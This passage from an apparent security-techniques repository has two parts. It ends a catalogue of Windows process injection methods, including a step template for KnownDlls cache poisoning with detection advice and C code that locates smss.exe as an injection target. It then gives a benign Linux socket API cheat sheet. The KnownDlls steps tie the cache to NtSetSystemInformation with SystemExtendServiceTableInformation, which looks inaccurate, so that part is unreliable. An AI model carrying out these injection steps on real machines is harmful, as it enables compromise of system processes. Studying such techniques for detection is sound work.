suspicious patterns of file mapping and view creation 2872 | - Implement memory mapping monitoring to detect unexpected shared memory usage 2873 | - Use EDR solutions with capabilities to detect mapping injection techniques 2874 | - Employ behavior-based detection to identify processes with abnormal memory-mapped file usage 2875 | 2876 | ## 24. KnownDlls Cache Poisoning 2877 | 2878 | This technique involves replacing a legitimate DLL in the KnownDlls cache with a malicious one. 2879 | 2880 | Key APIs: 2881 | - [`NtSetSystemInformation`](https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/ntddk/nf-ntddk-ntsetsysteminformation) (Undocumented) 2882 | ```c 2883 | NTSTATUS NTAPI NtSetSystemInformation( 2884 | SYSTEM_INFORMATION_CLASS SystemInformationClass, 2885 | PVOID SystemInformation, 2886 | ULONG SystemInformationLength 2887 | ); 2888 | ``` 2889 | 2890 | Template: 2891 | 1. Create a malicious DLL with the same name as a legitimate KnownDlls entry 2892 | 2. Create a Section object for the malicious DLL: 2893 | - Use NtCreateSection to create a section object 2894 | - Map a view of the section into memory 2895 | - Write the malicious DLL content to the mapped view 2896 | 3. Use `NtSetSystemInformation` with `SystemExtendServiceTableInformation` to add the malicious DLL to the KnownDlls cache 2897 | 4. The malicious DLL will be loaded instead of the legitimate one by processes 2898 | 2899 | Detection and Defense: 2900 | - Implement KnownDlls integrity checks 2901 | - Monitor for modifications to the KnownDlls cache 2902 | - Use EDR solutions with capabilities to detect KnownDlls cache poisoning 2903 | - Employ whitelisting and code signing verification for DLLs in the KnownDlls cache 2904 | 2905 | ## Additional Considerations for Detection and Defense 2906 | 2907 | 1. Implement a robust Application Whitelisting strategy to prevent unauthorized executables and DLLs from running. 2908 | 2. Use Windows Defender Exploit Guard or similar technologies to enable Attack Surface Reduction (ASR) rules. 2909 | 3. Keep systems and software up-to-date with the latest security patches. 2910 | 4. Utilize User Account Control (UAC) and principle of least privilege to limit the impact of successful injections. 2911 | 5. Implement Network Segmentation to limit lateral movement in case of a successful attack. 2912 | 6. Use Runtime Application Self-Protection (RASP) technologies to detect and prevent injection attempts in real-time. 2913 | 7. Regularly perform threat hunting activities to proactively search for signs of injection techniques. 2914 | 8. Implement and maintain a robust Security Information and Event Management (SIEM) system to correlate and analyze security events. 2915 | 9. Conduct regular security awareness training for users to recognize and report suspicious activities. 2916 | 10. Perform regular penetration testing and red team exercises to identify vulnerabilities and improve defenses against injection techniques. 2917 | 2918 | ## Process Enumeration 2919 | 2920 | ```c 2921 | #include 2922 | #include 2923 | #include 2924 | #include // GetLastError 2925 | #include // HeapCreate, HeapAlloc, HeapDestroy 2926 | #include // StringCchPrintf 2927 | #include 2928 | #include 2929 | 2930 | void ErrorExit(LPCTSTR lpszFunction); 2931 | int ProcessEnumerateAndSearch(const wchar_t* ProcessName, PROCESSENTRY32* lppe); 2932 | int PrintProcessInfo(const PROCESSENTRY32* lppe); 2933 | 2934 | int PrintProcessInfo(const PROCESSENTRY32* lppe) 2935 | { 2936 | assert(lppe); 2937 | 2938 | wprintf(L"PROCESS : %ls\n", lppe->szExeFile); 2939 | 2940 | int PID = static_cast(lppe->th32ProcessID); 2941 | if (PID == 0) { 2942 | wprintf(L"ERR : Process Not Found.\n"); 2943 | return 0; 2944 | } 2945 | 2946 | wprintf(L"PID : %i\n\n", PID); 2947 | return 1; 2948 | } 2949 | 2950 | void ErrorExit(LPCTSTR functionName) 2951 | { 2952 | constexpr DWORD FLAGS = FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS; 2953 | constexpr DWORD LANG_ID = MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT); 2954 | constexpr size_t EXTRA_CHARS = 40; 2955 | 2956 | DWORD errorCode = GetLastError(); 2957 | LPTSTR messageBuf = nullptr; 2958 | 2959 | FormatMessage(FLAGS, NULL, errorCode, LANG_ID, (LPTSTR)&messageBuf, 0, NULL); 2960 | 2961 | if (messageBuf) { 2962 | size_t funcNameLen = _tcslen(functionName); 2963 | size_t messageLen = _tcslen(messageBuf); 2964 | size_t bufSize = (funcNameLen + messageLen + EXTRA_CHARS) * sizeof(TCHAR); 2965 | 2966 | LPTSTR displayBuf = static_cast(LocalAlloc(LMEM_ZEROINIT, bufSize)); 2967 | if (displayBuf) { 2968 | StringCchPrintf(displayBuf, LocalSize(displayBuf) / sizeof(TCHAR), TEXT("%s failed with error %d: %s"), functionName, errorCode, messageBuf); 2969 | MessageBox(NULL, displayBuf, TEXT("Error"), MB_OK); 2970 | 2971 | LocalFree(displayBuf); 2972 | } 2973 | 2974 | LocalFree(messageBuf); 2975 | } 2976 | 2977 | ExitProcess(errorCode); 2978 | } 2979 | 2980 | int ProcessEnumerateAndSearch(const wchar_t* ProcessName, PROCESSENTRY32* lppe) 2981 | { 2982 | assert(ProcessName && lppe); 2983 | 2984 | HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); 2985 | if (hSnapshot == INVALID_HANDLE_VALUE) 2986 | ErrorExit(TEXT("CreateToolhelp32Snapshot")); 2987 | 2988 | lppe->dwSize = sizeof(PROCESSENTRY32); 2989 | 2990 | if (Process32First(hSnapshot, lppe) == FALSE) { 2991 | CloseHandle(hSnapshot); 2992 | ErrorExit(TEXT("Process32First")); 2993 | } 2994 | 2995 | int pFoundFlag = 0; 2996 | do { 2997 | size_t wcProcessName = wcslen(ProcessName); 2998 | if (wcsncmp(lppe->szExeFile, ProcessName, wcProcessName) == 0) { 2999 | if (!PrintProcessInfo(lppe)) continue; 3000 | pFoundFlag = 1; 3001 | break; 3002 | } 3003 | } while (Process32Next(hSnapshot, lppe)); 3004 | 3005 | CloseHandle(hSnapshot); 3006 | 3007 | return pFoundFlag; 3008 | } 3009 | 3010 | int main(int argc, char** argv) 3011 | { 3012 | wchar_t pName[] = L"smss.exe"; // process name we will be injecting 3013 | PROCESSENTRY32 lppe = { 0 }; 3014 | 3015 | if (ProcessEnumerateAndSearch(pName, &lppe)) { 3016 | // do some stuff 3017 | } 3018 | else { 3019 | return 1; 3020 | } 3021 | 3022 | return 0; 3023 | } 3024 | ``` 3025 | -------------------------------------------------------------------------------- /socket-cheatsheet.txt: -------------------------------------------------------------------------------- 1 | . . 2 | |\/\/| 3 | |____| 4 | .-----------. .-----------. .------. .-----. 5 | / \.-------./ \.-------*-. | | |----------. 6 | | | .--. \ | / '-' | \ 7 | '---. .---' '--' |-. .-:-' /____/_ | .-. |www.c-asm.com 8 | | | .---.___-' | | '.____ \ | | | |www.x.com/7etsuo 9 | | | '-___-''\ | | / | / '-' |discord.gg/c-asm 10 | | |\ \ | |/ |-_______-' / 11 | '-_____-' '--_______--' '-_____-'-.__________.' '-__________.' 12 | 2024 Shoutout to DeLuks 13 | ▗▖ ▗▄▄▄▖▗▖ ▗▖▗▖ ▗▖▗▖ ▗▖ ▗▄▄▖ ▗▄▖ ▗▄▄▖▗▖ ▗▖▗▄▄▄▖▗▄▄▄▖ for the Tetsuo graphics 14 | ▐▌ █ ▐▛▚▖▐▌▐▌ ▐▌ ▝▚▞▘ ▐▌ ▐▌ ▐▌▐▌ ▐▌▗▞▘▐▌ █ 15 | ▐▌ █ ▐▌ ▝▜▌▐▌ ▐▌ ▐▌ ▝▀▚▖▐▌ ▐▌▐▌ ▐▛▚▖ ▐▛▀▀▘ █ 16 | ▐▙▄▄▖▗▄█▄▖▐▌ ▐▌▝▚▄▞▘▗▞▘▝▚▖ ▗▄▄▞▘▝▚▄▞▘▝▚▄▄▖▐▌ ▐▌▐▙▄▄▖ █ 17 | 18 | ▗▄▄▖▗▖ ▗▖▗▄▄▄▖ ▗▄▖▗▄▄▄▖▗▄▄▖▗▖ ▗▖▗▄▄▄▖▗▄▄▄▖▗▄▄▄▖ 19 | ▐▌ ▐▌ ▐▌▐▌ ▐▌ ▐▌ █ ▐▌ ▐▌ ▐▌▐▌ ▐▌ █ 20 | ▐▌ ▐▛▀▜▌▐▛▀▀▘▐▛▀▜▌ █ ▝▀▚▖▐▛▀▜▌▐▛▀▀▘▐▛▀▀▘ █ 21 | ▝▚▄▄▖▐▌ ▐▌▐▙▄▄▖▐▌ ▐▌ █ ▗▄▄▞▘▐▌ ▐▌▐▙▄▄▖▐▙▄▄▖ █ 22 | 23 | 1. Interaction 24 | 2. Port and Service Functions 25 | TCP Server getservbyname(char *name, char *proto) // Fetch port by service name and protocol 26 | ┌───────────────────┐ getservbyport(int port, char *proto) // Fetch service name by port and protocol 27 | │ socket() │ 28 | └─────────┬─────────┘ 3. Byte Ordering Functions 29 | │ htons (unsigned short hostshort) // Convert 16-bit host to network byte order 30 | ┌─────────▼─────────┐ htonl (unsigned long hostlong) // Convert 32-bit host to network byte order 31 | known port │ bind() │ ntohs (unsigned short netshort) // Convert 16-bit network to host byte order 32 | └─────────┬─────────┘ ntohl (unsigned long netlong) // Convert 32-bit network to host byte order 33 | │ 34 | ┌─────────▼─────────┐ 4. IP Address Functions 35 | │ listen() │ inet_aton (const char *strptr, s ruct in_addr *addrptr) // Convert string to network address 36 | └─────────┬─────────┘ inet_addr (const char *strptr) // Convert string to IPv4 address (32-bit network order) 37 | │ inet_ntoa (struct in_addr inaddr) // Convert IPv4 address to string 38 | ┌─────────▼─────────┐ 39 | │ accept() │ 5. Socket Core Functions 40 | └─────────┬─────────┘ socket (int family, int type, int protocol) // Get socket descriptor 41 | │ connect (int sockfd, struct sockaddr *serv_addr, int addrlen) // Connect to server 42 | TCP Client ▼ bind (int sockfd, struct sockaddr *my_addr, int addrlen) // Bind socket to local address 43 | ┌───────────────────┐ blocks until connection listen (int sockfd, int backlog) // Listen for incoming connections 44 | │ socket() │ from client accept (int sockfd, struct sockaddr *cliaddr, socklen_t *addrlen) // Accept connection 45 | └─────────┬─────────┘ │ send (int sockfd, const void *msg, int len, int flags) // Send data 46 | │ │ recv (int sockfd, void *buf, int len, unsigned int flags) // Receive data 47 | ┌─────────▼─────────┐ connection │ sendto (int sockfd, const void *msg, int len, unsigned int flags, const struct sockaddr *to, int tolen) // Send to UNCONNECTED socket 48 | │ connect() ◄─────────────────────► recvfrom (int sockfd, void *buf, int len, unsigned int flags, struct sockaddr *from, int *fromlen) // Receive from UNCONNECTED socket 49 | └─────────┬─────────┘(TCP 3-way handshake)│ close (int sockfd) // Close socket 50 | │ │ shutdown (int sockfd, int how) // Gracefully close socket 51 | ┌─────────▼─────────┐ │ select (int nfds, fd_set *readfds, fd_set *writefds, fd_set *errorfds, struct timeval *timeout) // Monitor multiple sockets 52 | ┌─────► write() ┼────┐ ┌─────────▼─────────┐ 53 | │ └─────────┬─────────┘ └──────► read() │ 6. Socket Helper Functions 54 | │ │ └─────────┬─────────┘ write (int fildes, const void *buf, int nbyte) // Write to file descriptor 55 | │ │ │ read (int fildes, const void *buf, int nbyte) // Read from file descriptor 56 | │ │ ▼ fork (void) // Create new process 57 | │ │ process request bzero (void *s, int nbyte) // Set memory to 0 58 | │ │ │ bcmp (const void *s1, const void *s2, int nbyte) // Compare byte strings 59 | │ │ │ bcopy (const void *s1, void *s2, int nbyte) // Copy byte strings 60 | │ │ ┌─────────▼─────────┐ memset (void *s, int c, int nbyte) // Set memory to specific value 61 | │ │ ┌──────┼ write() │ 62 | │ ┌──────────▼────────┐ data(reply)└─────────┬─────────┘ 7. Linux Socket Structures 63 | └────│ read() ◄─────┘ │ sockaddr 64 | └──────────┬────────┘ │ struct sockaddr { unsigned short sa_family; char sa_data[14]; } // Generic socket address 65 | │ ┌─────────▼─────────┐ sockaddr_in 66 | │ │ read() │ struct sockaddr_in { short int sin_family; unsigned short int sin_port; struct in_addr sin_addr; unsigned char sin_zero[8]; } // IPv4 address 67 | │ └─────────┬─────────┘ in_addr 68 | ┌──────────▼────────┐ │ struct in_addr { unsigned long s_addr; } // 32-bit IPv4 address 69 | │ close() ├────┐ │ hostent 70 | └───────────────────┘ EOF ┌─────────▼─────────┐ struct hostent { char *h_name; char **h_aliases; int h_addrtype; int h_length; char **h_addr_list; } // Host information 71 | └───────► close() │ servent 72 | └───────────────────┘ struct servent { char *s_name; char **s_aliases; int s_port; char *s_proto; } // Service and port information 73 | --------------------------------------------------------------------------------